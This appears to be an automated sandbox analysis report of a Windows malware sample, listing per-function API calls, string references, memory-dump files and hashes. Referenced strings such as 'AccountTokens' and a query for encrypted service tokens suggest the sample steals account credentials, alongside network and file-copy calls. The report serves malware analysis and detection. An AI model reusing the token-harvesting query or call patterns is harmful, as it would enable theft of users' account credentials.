lstrcpy.KERNEL32(00000000,0042D01C), ref: 00405784
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004057C3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004057F3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00405828

Strings

~A, xrefs: 0040576C, 00405FEA, 00405E90
------, xrefs: 00405929, 00405956
--, xrefs: 0040598F, 004059B7
", xrefs: 00405BA4, 00405C92, 00405D80
------, xrefs: 00405B0B, 00405BFC, 00405CEA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ------$"$--$------$~A
API String ID: 367037083-2106860866
Opcode ID: 16b306f1fe2cf422910d253243221970d201e8ae75a7a8aa1d2d0063b109acbb
Instruction ID: 9eaaf2377c3e0c284e09dbc60274da374b34acefcb66f01675647b5141173ba3
Opcode Fuzzy Hash: 16b306f1fe2cf422910d253243221970d201e8ae75a7a8aa1d2d0063b109acbb
Instruction Fuzzy Hash: 2D426A71E006199BCB10EBB5DD89A9F77B5AF04304F04502AF905B72A1DB78ED028FE8

Function 0040D4B0 Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 701stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040D4F0
lstrlenA.KERNEL32(AccountTokens), ref: 0040D4FB
lstrcpy.KERNEL32(00000000,?), ref: 0040D52D
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D539
lstrlenA.KERNEL32(00431D64), ref: 0040D544
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D565
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040D571
lstrcpy.KERNEL32(00000000,?), ref: 0040D59E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D5A9
lstrlenA.KERNEL32(00809888), ref: 0040D5B7
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D5E3
lstrcatA.KERNEL32(00000000,00809888), ref: 0040D5EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D61E
lstrcpy.KERNEL32(00000000,?), ref: 0040D658
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D664
lstrlenA.KERNEL32(00431D64), ref: 0040D66F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D690
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040D69C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D6C7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D6D2
lstrlenA.KERNEL32(00435170), ref: 0040D6DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D701
lstrcatA.KERNEL32(00000000,00435170), ref: 0040D70D
lstrcpy.KERNEL32(00000000,?), ref: 0040D736
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D741
lstrlenA.KERNEL32(00809888), ref: 0040D751
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D779
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D785
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D7B8
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040D857
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8A7
lstrcpy.KERNEL32(00000000,?), ref: 0040D90C
lstrlenA.KERNEL32(?), ref: 0040D931
LocalAlloc.KERNEL32(00000040,00000001), ref: 0040D952
StrStrA.SHLWAPI(00000000,AccountId), ref: 0040D97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D9C0
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D9CC
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D9FA
lstrlenA.KERNEL32(00435278), ref: 0040DA0C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DA30
lstrcatA.KERNEL32(00000000,00435278), ref: 0040DA3C

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 0041EF30: lstrcpy.KERNEL32(00000000,?), ref: 0041EF62

lstrcpy.KERNEL32(00000000,00000000), ref: 0040DA6A
lstrlenA.KERNEL32(0000000A), ref: 0040DA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DAA7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040DAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DADD
lstrlenA.KERNEL32(004350AC), ref: 0040DAEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DB10
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040DB1C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DB48
lstrlenA.KERNEL32(?), ref: 0040DC5F
lstrlenA.KERNEL32(?), ref: 0040DC6B
lstrcpy.KERNEL32(00000000,?), ref: 0040DC95

Strings

AccountId, xrefs: 0040D979
SELECT service, encrypted_token FROM token_service, xrefs: 0040D816
AccountTokens, xrefs: 0040D4F6, 0040D533, 0040D65E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: d0deab1a823d1d87b441f40e65e6a76a4cff23c43c8bd18859a5556e0c85d2d4
Instruction ID: d969214428bfd9f5a452859dc671ebcbafa7ce973f8f30feb8407f4f48ca35b0
Opcode Fuzzy Hash: d0deab1a823d1d87b441f40e65e6a76a4cff23c43c8bd18859a5556e0c85d2d4
Instruction Fuzzy Hash: 2D425C71A057029FC710AF69C988A6B77A6AF84704F04453EF845A73E1DBB8EC05CF99

Function 0040F9A9 Relevance: 98.5, APIs: 65, Instructions: 968stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040F9CE
lstrlenA.KERNEL32(00810AB0), ref: 0040F9DD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA00
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FA0B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA31
lstrcpy.KERNEL32(00000000,?), ref: 0040FA72
lstrcatA.KERNEL32(00000000), ref: 0040FA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FAA5
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040FAC4
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040FAF4
lstrlenA.KERNEL32(008098B8), ref: 0040FB03
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB2B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB5F
lstrlenA.KERNEL32(00431D64), ref: 0040FB71
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB93
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040FB9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBC8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBF7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FC02
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC29
lstrlenA.KERNEL32(00435170), ref: 0040FC3B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC5D
lstrcatA.KERNEL32(00000000,00435170), ref: 0040FC69
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC94
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCC1
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FCCC
lstrlenA.KERNEL32(00809888), ref: 0040FCDA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCFE
lstrcatA.KERNEL32(00000000,00809888), ref: 0040FD06
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FD31
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040FD87
RtlAllocateHeap.NTDLL(00000000), ref: 0040FD8E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FDDD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE16
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FE7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FEB6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FEE9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FF1B
StrCmpCA.SHLWAPI(?,004352B8), ref: 0040FF2A
lstrlenA.KERNEL32(00809898), ref: 0040FF3C
lstrcpy.KERNEL32(00000000,008098D8), ref: 0040FF9E
StrCmpCA.SHLWAPI(?,004352B8), ref: 0040FFAD
lstrlenA.KERNEL32(00809898), ref: 0040FFBF
lstrcpy.KERNEL32(00000000,008098D8), ref: 00410021
lstrcatA.KERNEL32(?,?), ref: 0041002F
lstrcatA.KERNEL32(?,004352BC), ref: 0041003E
lstrcatA.KERNEL32(?,00000000), ref: 0041004C
lstrcatA.KERNEL32(?,004352BC), ref: 0041005B
lstrlenA.KERNEL32(?), ref: 00410408
lstrlenA.KERNEL32(?), ref: 00410417
lstrcpy.KERNEL32(00000000,00000000), ref: 00410444
memset.MSVCRT ref: 0041047C
DeleteFileA.KERNEL32(?), ref: 004104A6

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 5fe24bc7052ce6b12e41e33693a7f01fd0daa44f4afb3ad394bf73f3c6674605
Instruction ID: dec9c203200eb44ff8fc3facebee4f0606abc7e22e3180a0a1e7ccdc739319f5
Opcode Fuzzy Hash: 5fe24bc7052ce6b12e41e33693a7f01fd0daa44f4afb3ad394bf73f3c6674605
Instruction Fuzzy Hash: C8824F71A012059FCB24DF65C948A9BB7B5AF44304F18817EE809E73A1DBB9DD81CFA4

Function 00405799 Relevance: 93.4, APIs: 48, Strings: 5, Instructions: 663
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004057C3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004057F3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00405828
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00405862
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405872
StrCmpCA.SHLWAPI(?,008125C8), ref: 00405892

Strings

~A, xrefs: 00405FEA, 00405E90
------, xrefs: 00405929, 00405956
--, xrefs: 0040598F, 004059B7
", xrefs: 00405BA4, 00405C92, 00405D80
------, xrefs: 00405B0B, 00405BFC, 00405CEA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: ------$"$--$------$~A
API String ID: 2041821634-2106860866
Opcode ID: ca83e0dc33fff722552b160cb8b7ef0d8a9246baf4aaf19d4da77400c0a0635c
Instruction ID: c0faf94a5e667a21698e368112346e477cb2d7aa25992bdc04d5ba9c692a8ec5
Opcode Fuzzy Hash: ca83e0dc33fff722552b160cb8b7ef0d8a9246baf4aaf19d4da77400c0a0635c
Instruction Fuzzy Hash: B1326B72A006159BCB10EBB5DD89A9F77B5AF44304F05503AF905B72A1DB78ED028FE8

Function 00407B10 Relevance: 83.2, APIs: 55, Instructions: 668
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00407B2A
RtlAllocateHeap.NTDLL(00000000), ref: 00407B31
lstrcatA.KERNEL32(?,0080E4A0), ref: 00407D8A
lstrcatA.KERNEL32(?,?), ref: 00407DA0
lstrcatA.KERNEL32(?,?), ref: 00407DB6
lstrcatA.KERNEL32(?,?), ref: 00407DCC
lstrcatA.KERNEL32(?,00810F60), ref: 00407DE1
lstrcatA.KERNEL32(?,00810F78), ref: 00407DF6
lstrcatA.KERNEL32(?,00811008), ref: 00407E0A
lstrcatA.KERNEL32(?,00810F90), ref: 00407E1F
lstrcatA.KERNEL32(?,008090D8), ref: 00407E34
lstrcatA.KERNEL32(?,?), ref: 00407E4A
lstrcatA.KERNEL32(?,?), ref: 00407E60
lstrcatA.KERNEL32(?,?), ref: 00407E76
lstrcatA.KERNEL32(?,00810F60), ref: 00407E8A
lstrcatA.KERNEL32(?,00810F78), ref: 00407E9F
lstrcatA.KERNEL32(?,00811008), ref: 00407EB4
lstrcatA.KERNEL32(?,00810F90), ref: 00407EC8
lstrcatA.KERNEL32(?,00809140), ref: 00407EDD
lstrcatA.KERNEL32(?,?), ref: 00407EF3
lstrcatA.KERNEL32(?,?), ref: 00407F09
lstrcatA.KERNEL32(?,?), ref: 00407F1F
lstrcatA.KERNEL32(?,00810F60), ref: 00407F34
lstrcatA.KERNEL32(?,00810F78), ref: 00407F48
lstrcatA.KERNEL32(?,00811008), ref: 00407F5D
lstrcatA.KERNEL32(?,00810F90), ref: 00407F72
lstrcatA.KERNEL32(?,00809008), ref: 00407F86
lstrcatA.KERNEL32(?,?), ref: 00407F9C
lstrcatA.KERNEL32(?,?), ref: 00407FB2
lstrcatA.KERNEL32(?,?), ref: 00407FC8
lstrcatA.KERNEL32(?,00810F60), ref: 00407FDD
lstrcatA.KERNEL32(?,00810F78), ref: 00407FF2
lstrcatA.KERNEL32(?,00811008), ref: 00408006
lstrcatA.KERNEL32(?,00810F90), ref: 0040801B
lstrcatA.KERNEL32(?,008091A8), ref: 00408030
lstrcatA.KERNEL32(?,?), ref: 00408046
lstrcatA.KERNEL32(?,?), ref: 0040805C
lstrcatA.KERNEL32(?,?), ref: 00408072
lstrcatA.KERNEL32(?,00810F60), ref: 00408086
lstrcatA.KERNEL32(?,00810F78), ref: 0040809B
lstrcatA.KERNEL32(?,00811008), ref: 004080B0
lstrcatA.KERNEL32(?,00810F90), ref: 004080C4
lstrcatA.KERNEL32(?,00809210), ref: 004080D9
lstrcatA.KERNEL32(?,?), ref: 004080EF
lstrcatA.KERNEL32(?,?), ref: 00408105
lstrcatA.KERNEL32(?,?), ref: 0040811B
lstrcatA.KERNEL32(?,00810F60), ref: 00408130
lstrcatA.KERNEL32(?,00810F78), ref: 00408144
lstrcatA.KERNEL32(?,00811008), ref: 00408159
lstrcatA.KERNEL32(?,00810F90), ref: 0040816E

Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020,004350AC), ref: 004079D0
Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020,?), ref: 004079FD
Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020, : ), ref: 00407A0F
Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020,?), ref: 00407A30
Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020,004350AC), ref: 00407AA0

Part of subcall function 004079A0: wsprintfA.USER32 ref: 00407A50
Part of subcall function 004079A0: lstrcpy.KERNEL32(00000000,?), ref: 00407A79
Part of subcall function 004079A0: lstrcatA.KERNEL32(0F440020,00000000), ref: 00407A87

lstrcatA.KERNEL32(?,008124B8), ref: 004082B5
lstrcatA.KERNEL32(?,00811418), ref: 004082C6
lstrlenA.KERNEL32(0F440020), ref: 004082D3
lstrlenA.KERNEL32(0F440020), ref: 004082E3
lstrcpy.KERNEL32(00000000,?), ref: 0040831D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrcpylstrlen$AllocateProcesswsprintf
String ID:
API String ID: 3168643798-0
Opcode ID: 6a219c1458149cd723d5d5732c4d2f9079108e62c7f69a3eeb8567962e82ab67
Instruction ID: 341c94cb6e1a9d6eb96009d863f4091c52ef6b45c1e4cc1786a94d4fe67775d8
Opcode Fuzzy Hash: 6a219c1458149cd723d5d5732c4d2f9079108e62c7f69a3eeb8567962e82ab67
Instruction Fuzzy Hash: 5B521075518384AFC765DB24C8949DBB7EAEBC8310F40CD2EB99D83290DF74A6058F92

Function 0041301C Relevance: 82.8, APIs: 46, Strings: 1, Instructions: 572
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32 ref: 00413028
lstrcatA.KERNEL32(?,00000000), ref: 00413033
lstrlenA.KERNEL32(00431D64), ref: 0041303E
lstrcpy.KERNEL32(00000000), ref: 00413061
lstrcatA.KERNEL32(00000000,00431D64), ref: 0041306D
lstrlenA.KERNEL32(008109F0), ref: 0041307C
lstrcpy.KERNEL32(00000000,?), ref: 004130AC
lstrcatA.KERNEL32(00000000,?), ref: 004130B4
lstrlenA.KERNEL32(00431D64), ref: 004130BF
lstrcpy.KERNEL32(00000000,00000000), ref: 004130E2
lstrcatA.KERNEL32(00000000,00431D64), ref: 004130EE
lstrlenA.KERNEL32(00811318), ref: 004130FD
lstrcpy.KERNEL32(00000000,?), ref: 00413127
lstrcatA.KERNEL32(00000000,?), ref: 0041312F
lstrcpy.KERNEL32(00000000,00000000), ref: 00413152
lstrcatA.KERNEL32(00000000,00000000), ref: 0041315D
lstrlenA.KERNEL32(00811218), ref: 0041316C
lstrcpy.KERNEL32(00000000,00000000), ref: 00413195
lstrcatA.KERNEL32(00000000,00000000), ref: 004131A0
lstrcpy.KERNEL32(00000000,00000000), ref: 004131C9
lstrlenA.KERNEL32(00431D64), ref: 0041322B
lstrcpy.KERNEL32(00000000,00000000), ref: 00413250
lstrcatA.KERNEL32(00000000,00431D64), ref: 0041325C
lstrlenA.KERNEL32(00809998), ref: 0041326A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041328B
lstrcatA.KERNEL32(00000000,00809998), ref: 00413293
lstrcpy.KERNEL32(00000000,00000000), ref: 004132BA
lstrcpy.KERNEL32(00000000,?), ref: 004132EF
GetFileAttributesA.KERNEL32(00000000), ref: 004132F6
lstrcpy.KERNEL32(00000000,?), ref: 004133B7
lstrcpy.KERNEL32(00000000,?), ref: 004133E0
lstrcpy.KERNEL32(00000000,?), ref: 00413409
lstrcpy.KERNEL32(00000000,?), ref: 00413434

Strings

P2#v, xrefs: 004136DF

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID: P2#v
API String ID: 1033685851-3395895848
Opcode ID: 82a75b9c7ba9e9639137870cec0675dc516fc9f66eabcee6c0454b30bbbba238
Instruction ID: fc76fb540f2eba334ad85d92e851a3589b1f89268ff6911aa6dc8897cce72af9
Opcode Fuzzy Hash: 82a75b9c7ba9e9639137870cec0675dc516fc9f66eabcee6c0454b30bbbba238
Instruction Fuzzy Hash: 32129F71A006169BDB24AF79CD89AAF77B5AF00705F04413EF845E73A0DB78DD418B98

Function 0040B070 Relevance: 75.7, APIs: 50, Instructions: 746stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040B0A3
lstrlenA.KERNEL32(00810B58), ref: 0040B0C2
lstrcpy.KERNEL32(00000000,?), ref: 0040B0EF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B0F7
lstrlenA.KERNEL32(00431D64), ref: 0040B102
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B122
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040B12E
lstrcpy.KERNEL32(00000000,?), ref: 0040B159
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B164
lstrlenA.KERNEL32(00809888), ref: 0040B172
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B19E
lstrcatA.KERNEL32(00000000,00809888), ref: 0040B1A6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B1D7
lstrlenA.KERNEL32(00810B58), ref: 0040B1FC
lstrcpy.KERNEL32(00000000,?), ref: 0040B229
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B231
lstrlenA.KERNEL32(00431D64), ref: 0040B23C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B25C
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040B268
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B291
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B29C
lstrlenA.KERNEL32(00435170), ref: 0040B2A7
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B2C9
lstrcatA.KERNEL32(00000000,00435170), ref: 0040B2D5
lstrcpy.KERNEL32(00000000,?), ref: 0040B2FD
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B308
lstrlenA.KERNEL32(00809888), ref: 0040B31A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B343
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B351
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B37F
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040B420
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B46E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B499
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B4A1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 1736cc9bb536558ff048df32304a628aca2f64a5e6a9492ebd688fe57cf97cb2
Instruction ID: 851d2d3224ad8a7f6c87c448327e7b7f628097d0a04f4e59dc2745e3a8e4dbfc
Opcode Fuzzy Hash: 1736cc9bb536558ff048df32304a628aca2f64a5e6a9492ebd688fe57cf97cb2
Instruction Fuzzy Hash: 18526D71A016069FCB249F65C988AABB7B5EF44704F18807AE805A73E1D779DC42CFD8

Function 0040D4C9 Relevance: 70.6, APIs: 37, Strings: 3, Instructions: 555stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040D4F0
lstrlenA.KERNEL32(AccountTokens), ref: 0040D4FB
lstrcpy.KERNEL32(00000000,?), ref: 0040D52D
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D539
lstrlenA.KERNEL32(00431D64), ref: 0040D544
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D565
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040D571
lstrcpy.KERNEL32(00000000,?), ref: 0040D59E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D5A9
lstrlenA.KERNEL32(00809888), ref: 0040D5B7
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D5E3
lstrcatA.KERNEL32(00000000,00809888), ref: 0040D5EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D61E
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040D857
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8A7
lstrcpy.KERNEL32(00000000,?), ref: 0040D90C
lstrlenA.KERNEL32(?), ref: 0040D931
LocalAlloc.KERNEL32(00000040,00000001), ref: 0040D952
StrStrA.SHLWAPI(00000000,AccountId), ref: 0040D97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D9C0
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D9CC
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D9FA
lstrlenA.KERNEL32(00435278), ref: 0040DA0C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DA30
lstrcatA.KERNEL32(00000000,00435278), ref: 0040DA3C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DA6A
lstrlenA.KERNEL32(0000000A), ref: 0040DA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DAA7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040DAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DADD
lstrlenA.KERNEL32(004350AC), ref: 0040DAEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DB10
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040DB1C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DB48

Strings

AccountId, xrefs: 0040D979
SELECT service, encrypted_token FROM token_service, xrefs: 0040D816
AccountTokens, xrefs: 0040D4F6, 0040D533

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

